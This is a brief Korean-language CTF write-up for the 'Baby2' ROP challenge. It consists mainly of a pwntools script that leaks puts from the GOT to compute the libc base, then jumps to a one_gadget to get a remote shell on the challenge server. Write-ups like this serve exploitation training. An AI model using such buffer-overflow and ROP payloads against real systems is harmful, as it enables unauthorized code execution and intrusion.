Baby2
기본 ROP 문제
바이너리
우분투 18.04 환경에서는 main으로 안 돌아가는 경우도 있는 것 같다. [1] (일단 난 잘됨)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import *
r = remote('baby-01.pwn.beer', 10002) e = ELF('./baby2') libc = ELF('./libc.so.6')
ru = lambda a: r.recvuntil(a) sl = lambda a: r.sendline(a) sla = lambda a, b: r.sendlineafter(a, b) ex = lambda : r.interactive()
puts_offset = libc.symbols['puts'] puts_plt = e.plt['puts'] puts_got = e.got['puts'] main = e.symbols['main'] pr = 0x0000000000400783 binsh_offset = libc.search('/bin/sh').next() system_offset = libc.symbols['system'] one_gadget = 0x4f2c5
p = "" p += "\x90"*0x18 p += p64(pr) p += p64(puts_got) p += p64(puts_plt) p += p64(main) sl(p)
ru("input: ") leaked = u64(r.recv(6).ljust(8, '\x00')) print hex(leaked) libc_base = leaked - puts_offset one_shot = libc_base + one_gadget
p = "" p += "\x90"*0x18 p += p64(one_shot) sla('input: ', p) ex()
|
[Exploit Code]
[Remote]